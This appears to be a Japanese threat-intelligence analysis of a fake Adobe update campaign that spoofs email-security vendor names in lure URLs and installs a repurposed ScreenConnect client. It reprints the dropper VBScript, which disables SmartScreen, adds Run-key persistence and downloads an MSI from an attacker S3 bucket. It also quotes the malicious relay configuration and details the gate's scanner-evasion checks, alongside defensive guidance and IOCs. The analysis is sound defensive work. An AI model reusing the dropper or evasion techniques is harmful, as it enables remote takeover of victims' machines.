ScreenConnectの悪用：セキュリティ製品のURLを偽装した実在するフェイクアップデートキャンペーン

要点

• 本キャンペーンは、実際の登録ドメインであるsancaktextile.onlineの左側にCisco Secure Web、Proofpoint URL Defense、Microsoft Safe Links、Mimecastの名称を配置することで、悪意あるURLがあたかも事前スキャン済みであるかのように見せかけています。これらのベンダーはいずれも関与しておらず、その名称は単なる偽装にすぎません
• 偽のreCAPTCHAゲートが訪問者をプロファイリングし、スキャナーを弾き、意図された受信者を識別したうえで、チェックに失敗した場合はProofpointの正規サイトへ送ります。認証に成功すると、S3でホストされた偽のAdobeアップデートページに誘導され、.vbsファイルを実行し「プロンプトが表示されたらはいをクリック」するよう指示されます
• このVBScriptはSmartScreenを無効化し、Runキーによる永続化を作成したうえで、正規のConnectWise ScreenConnectクライアントを静かにインストールします。このクライアントにはリモートシェル、ファイルアクセス、キーロギング、スクリーンショット、音声キャプチャ、ログオン画面での資格情報プロバイダーアクセスといった機能が備わっています
• このクライアントは、攻撃者が自前で運用する中継サーバーsancaktextile.com:8041に接続します。この接続先アドレスと2048ビットRSA鍵は、署名済みのScreenConnectバイナリ本体ではなくMSIのプロパティテーブルに記載されており、悪意の有無はファイルそのものではなく設定内容の問題であることを示しています
• 証明書透明性（Certificate Transparency）ログには、ステージング名やProofpoint風の数字パターンを含む90個以上の誘導用サブドメインが記録されています。Caronteは、CAPTCHAを手動で突破した後にこの経路を追跡しました。収集時点では、本キャンペーンのドメイン、ハッシュ、RSA鍵はいずれも公開情報源に記録されていませんでした

主要な調査結果の概要

攻撃チェーンの概要

この攻撃チェーンは、各段階ごとに異なる信頼できる存在の身元を借用しています。URLはメールセキュリティベンダーの評判を借り、ゲートページはGoogleのインターフェースを借り、アップデートページはAdobeの名を借り、ペイロードは正規のリモートサポート製品を借用します。個々の偽装が精査に耐える必要はなく、それぞれは被害者を次の段階へ運ぶ役目さえ果たせばよいのです。

初期アクセス：事前スキャン済みに見せかけて構築されたURL

新たにスキャンされた誘導ページを日常的に監視していたところ、誤った読み方をさせるよう組み立てられたURLが見つかりました。

https://dcsecure-web.cisco.com.urldefense.proofpoint.com.sancaktextile.online/

左から右に読むと、Cisco Secure WebとProofpoint URL Defenseを通過してきたように見えます。しかし正しくは、登録ドメインを起点に外側へ向かって読む必要があり、このURLが本来属しているのはsancaktextile.onlineのみです。それより左にあるセキュリティベンダー名は、すべて攻撃者が選んだ単なる文字列にすぎません。欺瞞はページが読み込まれる前から始まっているのです。

実際にこのチェーンをたどってみると、訪問者が最初に目にするのは、それ以外は何もない空白のページに表示されたGoogle reCAPTCHA風のチェックボックスです。

これはreCAPTCHAではありません。ページのソースにはrecaptcha/api.jsも、Googleのiframeも、g-recaptcha-responseフィールドも一切含まれていません。

このウィジェットは手作業で描画されたものです。ロゴは円弧パスと三角形から構成されたインラインの<svg viewBox="0 0 64 64">であり、チェックボックスはrole="checkbox"属性を持つ<div>、チェックマークとスピナーはCSSアニメーションで、「プライバシー・利用規約」リンクは#を指しています。

この模倣は手抜きではなく、非常に丁寧に作り込まれています。カードのサイズは304×78ピクセルで、Googleの実際のv2チェックボックスウィジェットとまったく同じ寸法です。フォントはRobotoが使われ、チェック状態になると Googleのブルーである#1a73e8で塗りつぶされ、<span>要素には「私はロボットではありません」というラベルの横に、文字通りreCAPTCHAというワードマークが表示されます。実際にGoogleから取得されている唯一のアセットはファビコンで、https://www.google.com/favicon.icoから取得されており、ブラウザのタブに本物のGoogleアイコンが表示される仕組みです。それ以外はすべてレプリカであり、ページタイトルは「あなたが人間であることを確認してください」となっています。<meta name="robots" content="noindex,nofollow">により、検索エンジンのインデックスからも除外されています。

被害者に求められるのはクリックのみです。ここで正確を期しておく価値があります。というのも、この見た目はClickFixが用いるものですが、その仕組みはClickFixとは異なるからです。ソースコード内にはnavigator.clipboardもexecCommandもwriteTextも、いかなるコマンド文字列も存在しません。クリップボードには何もコピーされず、Win+Rの指示もなく、被害者が何かをターミナルに貼り付けるよう求められることもありません。スピナーが回っている間に実際にページが行っているのは、訪問者が人間かどうかを判定する処理です。

訪問者フィルタリング：被害者は通し、スキャナーは弾く

チェックボックスをクリックしても、ページ読み込みから最初の900ミリ秒間（ARM_MS）は無反応です。この時間内にクリックしても何も起こりません。それを過ぎてから有効化されると、ページが動作するまでに1,800ミリ秒（HOLD_MS_TARGET）の遅延が発生します。この2つの時間間隔はいずれも自動化への耐性を持たせるためのものであり、後者はスピナーを回すことでウィジェットを本物らしく見せる役割も兼ねています。

この保留時間はクライアント側で固定値になっているのではなく、セッションごとにテンプレート化されています。後述する署名付きトークンにも同じ値が含まれており、サーバー側がページをレンダリングする際に遅延時間を設定できる仕組みになっています。

この待機時間の間、ページは2種類のプロファイルを構築します。行動プロファイルには、タイムスタンプ付きのポインター座標、移動のリズムと距離、ポインターの圧力、そして操作がキーボードとマウスのどちらから行われたかが記録されます。

デバイスプロファイルには、マスクされていないWebGLのベンダーおよびレンダラー情報、キャンバスと音声のフィンガープリント、navigator.userAgentDataのブランド情報、通知の許可状態、プラグイン数が追加されます。localStorage.__bg_bidに保存される永続的なブラウザ識別子により、セッションをまたいで同一ブラウザを識別できるようになっています。

さらに3つのチェックは、ユーザーではなく解析環境そのものを標的にしています。ページはperformance.now()の実効分解能を、時計が刻むまでスピンさせることで測定しており、これによりハードニングされた解析用ブラウザや計測ツールが適用するタイマーの粗粒化を検知できます。またFunction.prototype.toStringが依然として[native code]を返すかどうかを確認し、これによりプリミティブがパッチされたランタイムを検出します。さらにwindow.location.ancestorOriginsを読み取り、ページが誰かによってフレーム化されている場合はその情報を報告します。

また、明示的な自動化ブロックリストによるチェックも4回にわたって実行されます。ページ読み込み直後に1回、350ミリ秒後のタイマーで再度1回、チェックボックスが押されたときに1回、そしてリダイレクトが発行される直前に最後の1回です。最初のチェックを通過するだけでは不十分です。

ブラウザ側のチェックでは、navigator.webdriver、SeleniumおよびChromeDriverのグローバル変数、自動化フレームワークに関連するドキュメントプロパティ、さらにError.stackにゲッターを仕込んでChrome DevTools Protocolを検知するプローブが対象となります。具体的な検知マーカーは、後述の指標セクションに記載しています。

ユーザーエージェントの拒否リストはさらに広範です。メールセキュリティベンダー、リモートブラウザ分離製品、公開サンドボックス、ヘッドレスブラウザ、クローラー、そしてアナリストが最初に試すことの多いコマンドラインHTTPクライアントの名前が列挙されています。curl、python-requests、Playwright、urlscan、VirusTotal、Proofpointなど、数十種類の識別子からの直接リクエストは、本来のキャンペーンではなくおとりの着地先を表示するよう設計されています。

ここで指摘しておく価値があるのは、その対称性です。自らのホスト名をCiscoやProofpointのリンク書き換えサービスに見せかけている同じキャンペーンが、それらのベンダーのスキャナーを弾くためのリストも維持しているのです。DNS層では彼らの評判を借用しながら、HTTP層ではその調査を拒絶しています。

ブロックリストのほかにも、2つの小さな罠が仕掛けられています。まず、ページには「私が人間であれば、ここは空欄のままにしてください」というラベルの陰に隠された、left:-10000pxに配置されたテキスト入力欄email_addressと送信ボタンから成るハニーポットがあります。このフィールドに入力したりボタンをクリックしたりすると、検証データとともに送信されるフラグが立てられ、レイアウトを描画しないフォーム入力ボットや認証情報収集ツールを検知できます。もう1つは、ページが自身がトップドキュメントでないと検知した場合にwindow.top.locationを自身に再割り当てしてフレームから脱出する仕組みです。これは、すでにユーザーエージェントリストに名を連ねているリモートブラウザ分離製品を狙い撃ちしたものであり、それらの製品はページをフレーム内に表示するためです。

いずれかのチェックに失敗すると、訪問者はhttps://www.proofpoint.com/us/products/365-total-protectionへ送られます。実際、われわれが行った直接リクエストはすべてこのページに誘導されました。この着地先の選択は偶然ではありません。まさにProofpoint自身の「365 Total Protection」製品ページであり、このリンクをたどったアナリストは、ゲートが回避しようとしているベンダーの1つのマーケティングサイトに送り込まれることになります。

受信者バインディング：リンクは標的を知っている

ページはURLフラグメントを読み取り、プレーンテキスト、16進数、base64urlの順に3種類のデコードを試みます。それぞれの候補はメールアドレスのパターンと照合され、最初に一致したものが採用されます。一致した場合、ページはウィジェットの上にあるバッジを表示し、そこにそのアドレスを書き込みます。これにより被害者は自分自身のメールアドレスを目にすることになり、そのリンクが自分宛てに作られたものであることの暗黙の証拠として機能します。同じ値はURLセーフなbase64として再エンコードされ、検証データとしてサーバーに送信されます。

アドレスをクエリ文字列ではなくフラグメントに配置しているのは、意図的な選択です。フラグメントはHTTPリクエストで送信されることがないため、受信者のメールアドレスはサーバーログにも、プロキシの記録にも、経路上のURLスキャンのテレメトリにも一切残りません。それはブラウザ内にのみ存在し、訪問者がゲートを通過した後にのみ攻撃者側に届く仕組みです。

つまり配信は受信者ごとにパーソナライズされており、攻撃者はどの特定のアドレスがクリック段階まで到達したかを把握できます。

ページのソースには、さらに3つの仕組みが存在します。1つ目は、セッションを訪問者に紐づける署名付きトークンです。

{"ts":1786643047,"iph":"44987e91b96dae4d","uah":"d37ac4d248088c64",
 "pid":"3","bot":0,"hold":1800,"nonce":"f03a7cf8d091177c"}

このトークンはbase64で構成され、64文字の16進数署名が別途付随しています。iphとuahはそれぞれ16桁の16進数値で、その名称から訪問者のIPアドレスとユーザーエージェントのハッシュを短縮したものと考えられます。ページはこれらの値を転送しているだけであり、実際のバインディングを強制しているのはサーバー側であることを示しています。

この仕組みの目的は、取得されたリンクが別のアドレスやクライアントから再生されるのを防ぐことにあると考えられます。この見方を裏づける2つのフィールドがあります。holdはページに適用された遅延時間を保持し、bot:0はブラウザ側のチェックが実行される前のサーバー側の判定結果を記録しています。フィルタリングはゲートが表示される前からすでに始まっているのです。

ページ読み込み時には、history.replaceStateによってアドレスバーが書き換えられます。誘導用URLは、架空のgclid、gbraid、wbraid、dclidおよびutm_*パラメータを伴う、www.googleadservices.com.secure-web.cisco.com.sancaktextile.onlineへの偽のGoogle広告クリックに置き換えられます。

元のフラグメントはこの置換後のURLに追加され、被害者のメールアドレスはそのまま保持されます。この時点でアドレスバーを確認した人が目にするのは、フィッシングゲートではなく、Cisco Secure Webのホスト名上での広告クリックのように見えるものです。

プロファイルデータは/__cre/verifyにPOSTされ、そのJSON応答のurlフィールドに次の段階の情報が含まれています。リクエストに失敗した場合、応答が不正な形式だった場合、あるいは8秒のタイムアウトが発生した場合は、ボット向けと同じProofpointの着地先にフォールバックします。

このエンドポイント名は、アトリビューションを推測する小さな手がかりを与えてくれます。creという文字列は、証明書透明性ログに記録されたホスト名3facebook.com.182.pstmrk.it.cre.sancaktextile.onlineにも登場しており、被害者にとって意味のあるものではなく、キット内部のラベルであることが示唆されます。

フェイクアップデート：UACプロンプトへの事前承認

CAPTCHAを完了すると、偽のAdobe Acrobat Readerアップデートページにリダイレクトされます。このページは誘導ドメイン上ではなく、Amazon S3バケット（charterkc-sns-notifications.s3.eu-central-1.amazonaws.com/Adobe_Reader_Update）から直接ホストされています。

ここで注目すべき点が2つあります。まず、製品名の下にあるバージョン表記が「Version 2024.002.20857 (64-bit)」に続けて「VBS Installer」と記載されており、ペイロード形式をそのまま公然と名乗っているのです。さらに、ダウンロードはユーザーの入力を待たずに始まります。「ダウンロードは1秒後に自動的に開始されます…」という表記は、複数形の”seconds”がそのまま残っている校正漏れのテンプレートそのままです。目立つDownload Updateボタンは、すでに始まっている転送を飾るだけの装飾にすぎません。

このタイプミスだけが唯一の綻びというわけではありません。このページはチェーン全体の中でも際立って作りが甘い部分であり、その欠陥は分析するまでもなく一目瞭然です。アイコンはAdobeのものではなく、白い六角形の中に文字「A」が描かれた赤い角丸四角形であり、Adobe Acrobat Readerがこうしたマークを使ったことは一度もありません。製品名以外にはAdobeらしいブランディングが一切なく、フッターも法的表記も、adobe.comへの言及もありません。そしてこのページは、インストーラーが.vbs形式であることを公然と示していますが、正規のAdobeアップデートがこの形式で配布されたことは一度もありません。

興味深いのはその非対称性です。ホスト名の構築、証明書透明性ログ上のインフラ展開、ペイロードの設定には相当な労力が注がれている一方で、被害者が実際に目にする唯一の画面にはほとんど手が加えられていません。これは、緊急のセキュリティアップデートというもっともらしい口実を使い、残った訪問者にページを詳しく検証させないようにしつつ、視覚的な部分は使い捨てと割り切っている運用者像と整合します。また、キット側がインフラを提供し、運用者側が着地ページを用意するという分業体制であることとも符合します。

このチェーンの最終ページはソーシャルエンジニアリングを担っており、その要求内容を明示的に示しています。

「Downloadsフォルダを開く → Adobe Reader Installer.vbsをダブルクリック → プロンプトが表示されたらはいをクリック」

この3つ目の指示こそが、攻撃の要となっています。このスクリプトによるサイレントなmsiexecインストールは、マシン単位のインストール（MSI内のALLUSERS=1）であるため、実行前にWindowsがユーザーアカウント制御（UAC）の同意ダイアログを表示します。このダイアログのボタンには「はい」と「いいえ」というラベルが付いています。このページはこの制御を回避しているわけではなく、また回避する必要もありません。その答えをあらかじめ承認させておき、プロンプトが表示される前に指示を出すことで、被害者はすでにその警告に対する説明を手にした状態でアラートに遭遇することになります。予告どおりに表示されたセキュリティ制御は、停止すべき警告としてではなく、インストールが正しく進んでいることの確認として受け取られてしまうのです。

その下にある2つのボタンが、この演出を完成させています。主要な操作はOpen Downloads Folderで、代替の選択肢はI’ll Do It Manuallyです。どちらを選んでも行き着く先は同じです。被害者に与えられているのは経路についての選択であり、目的地についての選択ではありません。これは同意インターフェースにおいてよく見られるパターンであり、プレッシャーではなく親切さとして受け止められます。

したがって、この配信手法は手動実行を必要とするフェイクアップデート型のドライブバイ攻撃であり、その手前には訪問者をプロファイリングしてスキャナーを排除することだけを目的とした偽のreCAPTCHAゲートが置かれています。このゲートが誘導ページを見せる相手を選別し、誘導ページはその相手に対して、Windowsが表示する唯一の警告をどう突破すればよいかを教えるのです。

インフラの拡張：借用した信頼の90通りのバリエーション

基盤となるドメインを調査した結果、単なる汎用テンプレート以上のインフラが明らかになりました。sancaktextile.onlineは登録されてからわずか数日しか経っておらず、拡張が活発に進行中でした。証明書透明性ログを見ると、登録以降、1日あたりおよそ1件のペースで新しい誘導用サブドメインが出現していたことが分かります。その大半はGoogle、Facebook、LinkedIn、Outlookを模倣したものでしたが、そうでないものもありました。

secure-web.cisco.com.sancaktextile.online
dcsecure-web.cisco.com.urldefense.proofpoint.com.sancaktextile.online
csecure-web.cisco.com.urldefense.proofpoint.com.sancaktextile.online
3facebook.com.182.pstmrk.it.cre.sancaktextile.online
eur04.safelinks.protection.outlook.com.sancaktextile.online
nam04.safelinks.protection.outlook.com.sancaktextile.online
protect-eu.mimecast.com.secure-web.cisco.com.sancaktextile.online

secure-web.cisco.comとurldefense.proofpoint.comはフィッシングブランドではなく、企業のメールゲートウェイが送信先URLをスキャンし包装するために使うリンク書き換えサービスです。pstmrk.itはProofpointが別途運用しているクリック追跡用ドメインです。safelinks.protection.outlook.comはMicrosoft Defender for Office 365のSafe Linksであり、ヨーロッパ版と北米版の地域バリエーションがあります。protect-eu.mimecast.comはMimecastの同等サービスです。

これらの名称をサブドメインのプレフィックスとして埋め込むことで、受信者のセキュリティ基盤を通過してきたかのように見えるURLが生成されます。しかし実際には、これらのサービスのいずれもこのURLを処理していません。

誤解のないよう明確にしておきますが、これらのベンダーのいずれも侵害されておらず、迂回もされておらず、関与もしていません。これらのベンダーの製品はこのチェーンに一切関わっていません。

ホスト名は右から左に解釈されるものであり、所有権はここではsancaktextile.onlineという登録ドメインによって決まります。それより左側にあるものはすべて攻撃者が制御できる文字列です。これらのホスト名において、cisco.comやproofpoint.comは、ドメインだと誤読されるように配置されたラベルにすぎません。この攻撃は、これらの製品自体の脆弱性ではなく、それらに関連付けられた信頼のヒューリスティックを標的にしています。

証明書透明性ログにはさらに、単発の手作りの誘導ではなく組織的なテストを示唆するパターンも見られました。Proofpointの実際のクリック追跡IDの形式を模倣した、数字が増加するプレフィックスを持つサブドメイン（2com、32com、432com、5432com、65432com）に加え、testbrand.com.sancaktextile.onlineとtestnew.sancaktextile.onlineという明らかにステージング用と分かる2つのエントリが確認されました。これは、テンプレート化されたキットが本番投入前にプレースホルダー的なブランド名でテストされていたことを示すものであり、単発の手作りの誘導ページではないことを示しています。

ドロッパー：SmartScreenを無効化し、その後サイレントインストール

被害者がAdobe Reader Installer.vbsをダブルクリックすると、このキャンペーンは信頼できるインターフェースの模倣をやめ、ホストの変更を開始します。われわれは自動でダウンロードされたこのスクリプトをCaronteに提出し、リバースエンジニアリングを行いました。

このスクリプトは短く（2,333バイト）、実行することは正確に3つだけです。

' 1. Disable Windows SmartScreen
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\SmartScreenEnabled", "Off", "REG_SZ"
' 2. Install Run-key persistence pointing at its own path
WshShell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\AdobeUpdateService", WScript.ScriptFullName
' 3. Download and silently install the payload
Set xhr = CreateObject("MSXML2.XMLHTTP")
xhr.Open "GET", "https://achotelwashington-mfa-cdn-courtyard.s3.us-west-1.amazonaws.com/ScreenConnect.ClientSetup.msi", False
xhr.Send
' saved to %TEMP%\AdobeUpdate.msi, installed via: msiexec /i /quiet /norestart

On Error Resume Nextは、本来であればダイアログとして表示されるはずのランタイムエラーをすべて抑制します。ステージング用バケット名achotelwashington-mfa-cdn-courtyardはホテル／CDNの命名規則を模したものです。これとは別に、直前の段階を担っていた名称が異なる2つ目のバケット（charterkc-sns-notifications.s3.eu-central-1.amazonaws.com)も確認しており、運用者はステージングを1つに集約せず、別々のバケットとリージョンに分散させていることが分かります。

収集時点で、このスクリプト自体はMalwareBazaar、ThreatFox、URLhaus、OTXのいずれにおいてもクリーン判定であり、公開ブロックリスト上のヒットはゼロでした。公開記録上ではこのスクリプトを特定する手がかりは何もなく、正体を明かしたのはその挙動だけでした。

この分析は提出されたファイルだけにとどまりませんでした。Caronteはスクリプトに埋め込まれたダウンロードURLをたどってMSIを取得し、独立したリバースエンジニアリングのためにキューへ登録したうえで、その結果得られた判定を関連する指標として親サンプルに紐づけました。この子サンプルの分析こそが、本キャンペーンのC2インフラが表面化したポイントです。

ペイロード：転用された正規のScreenConnectクライアント

最後に借用されている身元こそが、最も重大な意味を持っています。ScreenConnect.ClientSetup.msiはカスタムマルウェアではありません。ITチームが正規のサポート業務で使用しているのと同じソフトウェアである、本物のConnectWise ScreenConnect（v25.2.4.9229）リモートアクセスインストーラーであり、その接続先が正規のヘルプデスクではなく攻撃者が制御するインフラを指す接続文字列で構築されているのです。

これは、先ほどのVBScriptからCaronteが自動的にキューへ登録した子サンプルの分析であり、その生成された要約の中でC2の情報が初めて平易な言葉で登場します。「このMSIインストーラーは、暗号化されたリモートデスクトップおよびファイルアクセスセッションのために埋め込まれた2048ビットRSA公開鍵を用いて、sancaktextile.com:8041に接続し直すようサービスを設定している」。手作業での文字列抽出も、プロトコル解析も行わず、中継サーバーのアドレスと鍵はいずれも自動解析の過程で判明したものです。

攻撃者が制御する設定情報は、バイナリ本体にはまったく存在しません。それはMSI自体のプロパティテーブル内、SERVICE_CLIENT_LAUNCH_PARAMETERSの下に置かれています。

?e=Access&y=Guest&h=sancaktextile.com&p=8041&k=BgIAAACkAABSU0Ex...<2048-bit RSA public key>

インストーラーのServiceInstallテーブルは、この文字列をそのまま登録するサービスのコマンドラインとして渡します。そのため、中継サーバーのアドレスは埋め込みデータとしてではなく、引数としてクライアントに伝わることになります。

この配置こそが、このペイロードをファイル単体では検知しづらくしている理由です。ネイティブのサービスホストは市販のConnectWiseバイナリそのものであり、その文字列中にはsancaktextile.comへの参照は一切含まれていません。ハッシュを取っても、スキャンしても、逆コンパイルしても、この運用者を指し示すものは何も出てきません。このチェーンの中でキャンペーンを特定できる唯一のファイルはインストーラーのラッパーであり、しかもそれは、一般的な静的解析ツールがほとんど開くことのないメタデータテーブル内にのみ存在します。

hとpは中継サーバーのホストとポートです。kはMicrosoft CAPIのPUBLICKEYBLOBであり、これをデコードするとその構造が確認できます。ブロブタイプ0x06（公開鍵）、アルゴリズムCALG_RSA_KEYX、マジックナンバーRSA1、2048ビットの法、指数65537です。クライアントはこれを使って中継サーバーの正体を固定します。これはSSHのホスト鍵と同じ役割です。われわれはデコード後の276バイトのブロブ（SHA-256はbf55a817eb6aef825bed68448b6342bb56646a3af29d3f9d8e284a0b10c5d2ec）のフィンガープリントを取得しました。ドメインとは異なり、この鍵は中継サーバーを再構築しない限りローテーションできないため、ホスト名よりも永続性の高い指標となるからです。

インストール時、このMSIはCreateServiceWを通じて永続的なWindowsサービスScreenConnect Client (5bab5a88e37ba90e)を作成し、さらにSYSTEM\CurrentControlSet\Control\SafeBoot\Network配下にエントリを書き込みます。これにより、ネットワーク機能付きセーフモードで起動した場合でもこのサービスは起動するようになっており、「感染除去のためにセーフモードで起動する」という一般的な手動除去手順を特に無効化する仕掛けになっています。

インストールされるパッケージには、このソフトウェア本来の標準機能一式がすべて含まれています。いずれも正規のScreenConnectのコンポーネントですが、いまや攻撃者の制御下にあります。

このパッケージを静的解析すると、マルウェアらしき兆候が多数検出されますが、これらは正直に評価する必要があります。汎用的なYARAルールは、アーカイブ内の複数のメンバーに対してキーロギング、画面キャプチャ、音声録音、フックテーブル操作について反応し、ScreenConnect.WindowsCredentialProvider.dllに対してはantisb_threatExpertルールが反応します。サービスホストはIsDebuggerPresentやSetUnhandledExceptionFilterの呼び出しを示していますが、これらはATLおよびCランタイムの定型的な処理の一部であり、ランタイムがクラッシュダイアログを表示するかどうかを判断するために使用しているものです。これらは攻撃者によるハードニングではなく、そのように解釈することは誤りです。これらは改変されていない、ベンダー署名付きのConnectWiseのファイルであり、ConnectWiseのコード署名証明書と一致するルールも同時に反応します。

この一文に、この問題の難しさが集約されています。リモートサポートソフトウェアとリモートアクセス型トロイの木馬は、同じことを行うために作られているため、これらのファイルに対してどれだけヒューリスティックなスコアリングを行っても両者を区別することはできません。このインストールが悪意あるものかどうかは、ファイルの問題ではなく設定の問題なのです。

sancaktextile.comは古びた登録情報ではなく、稼働中のインフラです。ポート80、443、8040、8041のいずれもTCP接続を受け付けます。ポート8040と8041は認識可能な応答を一切返しません。これは、この中継サーバーがScreenConnect独自のプロトコルで通信し、正規のクライアントによるハンドシェイク以外はすべて拒否していることと整合します。

一方、ポート443は事情が異なります。ここでは攻撃者が運用するScreenConnectウェブポータルが公開されており、中継用のエンドポイントではなく、フル機能のサーバーコンソール用フロントエンドとなっています。

この運用者は、自前のインフラ上で自己ホスト型のScreenConnectサーバーを稼働させています。クライアントの設定は、ベンダーがホストするインスタンス名ではなく、単純なホスト名とポート番号を指しており、MSI内のRSA鍵も運用者自身のものです。

レスポンスヘッダーはこれを的確に示しています。Server: Microsoft-HTTPAPI/2.0は、自己ホスト型ScreenConnectがバインドするWindowsのHTTP.SYSスタックであり、DarkTealテーマで配信されています。

TLS証明書は、タイミング面での裏付けとなります。これはCN=sancaktextile.com向けのLet’s Encrypt証明書で、発行日は2026年8月4日、つまりsancaktextile.onlineが登録されたのと同じ日です。日付が一致していることは、C2サーバーと誘導用ドメインが異なる時期に用意されたインフラの寄せ集めではなく、同一の作戦の一部として同時にプロビジョニングされたことと整合します。

この日付はごく最近のものであり、このキャンペーンはその後も拡大を続けています。今回の調査中には、最初の列挙時には存在しなかった新たな誘導用サブドメインが確認されました。その中にはprotect-jp.mimecast.com.secure-web.cisco.com.sancaktextile.online、edcsecure-web.cisco.com.urldefense.proofpoint.com.sancaktextile.online、6mimecast.com.secure-web.cisco.com.sancaktextile.onlineが含まれます。誘導用ドメイン、C2コンソール、両方のS3バケットは、いずれも本稿執筆時点で稼働し続けていました。

当然疑問に思われるであろう点なので、バージョンに関する補足を1点記しておきます。ScreenConnect 25.2.3以前には、ASP.NETのViewStateに起因するコードインジェクションの脆弱性（CVE-2025-3935、CVSSスコア8.1）が存在しており、ConnectWiseはバージョン25.2.4でViewStateを無効化し、それに依存するコードを削除することでこれを修正しました。ScreenConnectサーバーは、自身が生成するクライアントに自身のバージョンを刻印するため、25.2.4.9229というクライアントバージョンは、その背後にあるサーバーが少なくともこの修正が適用済み、あるいはそれ以降のバージョンであることを示す有力な証拠となります。なお、未修正のビルドであっても、この脆弱性を悪用するにはまずサーバーのweb.config内のマシンキーが必要であったため、そもそも容易な侵入経路ではありませんでした。われわれは、公開されている着地ページを取得する以外、このポータルに対する認証やその他の操作は一切試みていません。

ステージングのアーキテクチャ：2つのバケット、2つのリージョン

このキャンペーンは、実行可能なペイロードを自身のドメイン上にホストすることは一切ありません。両方の段階とも、2つの異なるリージョンにある別々のバケットからAmazon S3経由で配信されています。

charterkc-sns-notifications.s3.eu-central-1.amazonaws.com      → fake update page + VBScript
achotelwashington-mfa-cdn-courtyard.s3.us-west-1.amazonaws.com → ScreenConnect MSI

どちらの名称も無作為に選ばれたものではありません。一方はSNS通知サービスに、もう一方はホテルチェーンのMFAおよびCDNインフラに見えるよう作られています。いずれも、プロキシログ上での簡易的な確認をすり抜けるよう構築されています。*.s3.amazonaws.comへのリクエストはごく日常的なものであり、正規の企業ストレージとマルウェアのステージング先を区別する唯一の手がかりはバケット名だけだからです。

この分離構成は、誘導用ドメインにはない耐障害性を運用者に与えてもいます。sancaktextile.onlineをテイクダウンしても侵入口が塞がれるだけで、両方のペイロードはそのままアクセス可能な状態が残ります。実際、本稿執筆時点でも両方のバケットは通常のリクエストに対して200 OKを返し続けています。バケットをAWSへ報告することと、ドメインをレジストラへ報告することは別々の対応であり、それぞれがこのチェーンの異なる半分に対処するものです。

防御上の優先事項

このキャンペーンは、それぞれの移行段階ごとに異なる検知機会を提供しています。いずれもAdobeページを視覚的に見分けることには依存していません。

• ブランド名の文字列ではなく所有権を解析する。URLを登録ドメインへ正規化し、urldefense.proofpoint.comやsecure-web.cisco.comのようなメールセキュリティ関連の名称が、無関係なドメイン、特に登録が新しいドメインや証明書透明性ログ上での活動が活発なドメインの下でラベルとして出現していないか確認する
• リダイレクトチェーンを相関付けて解析する。新たに登録された誘導用ドメインに到達したブラウザが、続けて無関係なS3バケットから.vbsとMSIを取得している場合、個々のリクエストよりも高い確度を持つ証拠となる。正規のProofpointサイトへのフォールバックリダイレクトが発生しても、元のイベントを無害と判断してはならない
• 実行時のハンドオフを検知する。ユーザーがダウンロードしたファイルから起動されたwscript.exeやcscript.exeがSmartScreenEnabledを変更したり、Runキーを作成したり、%TEMP%配下にMSIを書き込んだり、/quiet付きでmsiexecを呼び出したりした場合にアラートを発する
• 設定内容に基づいてリモートサポートソフトウェアを統制する。承認済みのScreenConnectインスタンスIDと中継ホストをアローリストに登録する。MSIのプロパティおよび登録済みサービスの引数を検査し、未知の中継先を持つ新規ScreenConnectサービスやSafeBoot\Networkへの永続化に対してアラートを発する
• 対話型の侵害として対応する。このサービスがインストールされた時点で、運用者はリモートシェル、ファイル、キャプチャ、ログオン画面へのアクセス機能を手にしている。隔離と除去には、ScreenConnectサービス、資格情報プロバイダーの登録、Runキー、ダウンロードされたスクリプト、そしてセッション中に露出した可能性のある認証情報を含める必要がある

侵害指標（IOC）

Dropper:
  Name:     Adobe Reader Installer.vbs
  SHA256:   dbac65d2a03c91c4a2226090d06e0da8700c755dde61f506c79a3a356e3416bc
  MD5:      b55710ace9f4dca8f1bdb95411db0cf2
  SHA1:     14282e3fbd2b57b105cda08526dffa10a0bd884e
Payload:
  Name:     ScreenConnect.ClientSetup.msi (ConnectWise ScreenConnect v25.2.4.9229)
  SHA256:   e6c563365967e2223cb852c266237ed9c553f5c94023253f51f996b8eb14a56c
  Service:  ScreenConnect Client (5bab5a88e37ba90e)
  Instance id:  5bab5a88e37ba90e
  URL scheme:   sc-5bab5a88e37ba90e
  ProductCode:  "{2B3E90CD-17AF-9020-7E06-7AE2D7C47267}"
  UpgradeCode:  "{45E9582B-B171-5E88-5BAB-5A88E37BA90E}"
  Credential provider CLSID: "{6FF59A85-BC37-4CD4-AA13-7B50E75AC37A}"
Payload config (MSI property table, not present in any installed binary):
  Property: SERVICE_CLIENT_LAUNCH_PARAMETERS
  Value:    ?e=Access&y=Guest&h=sancaktextile.com&p=8041&k=BgIAAACkAABSU0Ex...
  Delivery: passed verbatim as the service command line via the ServiceInstall table
Network:
  C2 relay:       sancaktextile.com:8041
  Open ports:     80, 443, 8040, 8041
  Web console:    https://sancaktextile.com/  (self-hosted ScreenConnect server)
                  Server: Microsoft-HTTPAPI/2.0   theme: DarkTeal
                  TLS: Let's Encrypt CN=sancaktextile.com, issued 2026-08-04
  RSA key SHA256: bf55a817eb6aef825bed68448b6342bb56646a3af29d3f9d8e284a0b10c5d2ec
                  (SHA-256 over the 276-byte CAPI PUBLICKEYBLOB obtained by
                   URL-decoding then base64-decoding the k= parameter;
                   durable: survives domain rotation, unlike the hostname)
  Staging (S3):   achotelwashington-mfa-cdn-courtyard.s3.us-west-1.amazonaws.com
                  charterkc-sns-notifications.s3.eu-central-1.amazonaws.com
Lure infrastructure:
  Domain:    sancaktextile.online (registered 2026-08-04)
  Subdomain pattern: <spoofed-brand>.sancaktextile.online
  Spoofed brands: Google, Google Ads, Facebook, LinkedIn, Outlook,
                  Cisco Secure Web, Proofpoint URL Defense, Proofpoint pstmrk.it,
                  Microsoft Safe Links (EUR04/NAM04), Mimecast
  Confirmed live entry point:
    https://dcsecure-web.cisco.com.urldefense.proofpoint.com.sancaktextile.online/
  Stage 1 (CAPTCHA gate) -> Stage 2 (fake update page):
    https://charterkc-sns-notifications.s3.eu-central-1.amazonaws.com/Adobe_Reader_Update
  Note: direct requests without a completed CAPTCHA are redirected to the
        genuine proofpoint.com website (cloaking / anti-analysis)
CAPTCHA gate artifacts (host-agnostic, reusable across the kit's domains):
  Verify endpoint:    POST /__cre/verify   (JSON response, next stage in .url)
  Divert on failure:  https://www.proofpoint.com/us/products/365-total-protection
  localStorage key:   __bg_bid   (base64 JSON, persistent browser id)
  Honeypot field:     input[name="email_address"] positioned at left:-10000px
  Page title:         Verify you are human
